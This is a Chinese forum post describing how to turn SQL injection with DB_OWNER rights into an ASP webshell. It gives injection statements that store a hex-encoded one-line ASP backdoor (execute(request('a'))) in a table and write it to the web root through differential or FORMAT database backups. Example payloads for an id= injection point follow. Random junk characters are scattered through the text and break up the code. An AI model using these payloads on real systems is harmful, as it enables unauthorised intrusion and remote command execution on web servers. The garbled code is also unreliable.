找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2106|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:; s- F- q5 x* @6 r8 r& {% J

) T- j, K2 k( Q: `减少备份文件大小,得到可执行的webshell成功率提高不少
; Z/ \* C! j7 A; [一利用差异备份# P$ h" x9 K% |  T! R. Y
加一个参数WITH DIFFERENTIAL; w; P: k& r! h

: t: {7 J! k, n$ h/ I8 d5 ^+ R1* B2 }2 h* E3 p2 B% m; F( O7 {
2
+ k7 ]  q9 F9 x0 U, G: i3 {* T3
( K: O( X7 |: J5 B4$ Y( S" @; U) ~! ^# W9 q" ]$ k8 J  Y
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s. w/ H6 `$ I4 ~3 H& k% @
create table [dbo].[xiaolu] ([cmd] [image]);" c) i6 |' a. x8 G' U
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
; H" l5 u3 r" X1 p& {5 Udeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL : L; y8 x9 l. e

$ Z- K) T+ ^# W9 y% O0 G9 v6 w二利用完全FORMAT
/ d7 a7 U  r2 J加一个参数WITH FROMAT
: i5 o1 [& p: w2 Q/ T3 c* L有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以* Q1 \, ~9 J7 k. q  X
3 w) b  ~" J# u, j
17 l5 n; c( n9 t* F' G2 b5 E1 U
2( G7 s' ^' t5 g4 F" ]7 k+ \! f3 d
3
# \7 s% A* X4 O* T7 i4
4 Q3 J3 S& A1 a( ~2 t, G declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s. P, I- R; z  _1 M" m- z
create table [dbo].[xiaolu] ([cmd] [image]);
# {* S6 U8 e8 a" vinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
. O* M, H7 I3 d( R+ V0 I5 J5 }3 E" adeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
9 T! A6 v% S! t6 Y/ b- }) v$ m
7 n! T% B" D5 O0 H总的来说就是那么简单几句,下面以备份数据库model为例子
' Y; y/ X6 x1 p( `' _12 f3 M: Q  {  v( d" R" n6 C

7 B  y. t6 {* \% Z% g3 h1$ J' c: {& D5 V
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
; I( g0 [8 `9 ~/ m! r7 V$ }3 x7 y3 D3 t% [7 w4 Y0 q/ n$ P0 Z9 ~
26 }6 S, A. @. I. Q- g) H- A
, P9 W. `/ E0 |5 f2 I! e
1
% E) F% J( U% u5 i' v) S id=1;backup database model to disk='你的路径‘ with differential,format;--
" j2 o! O  k5 c) \% q/ M) X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表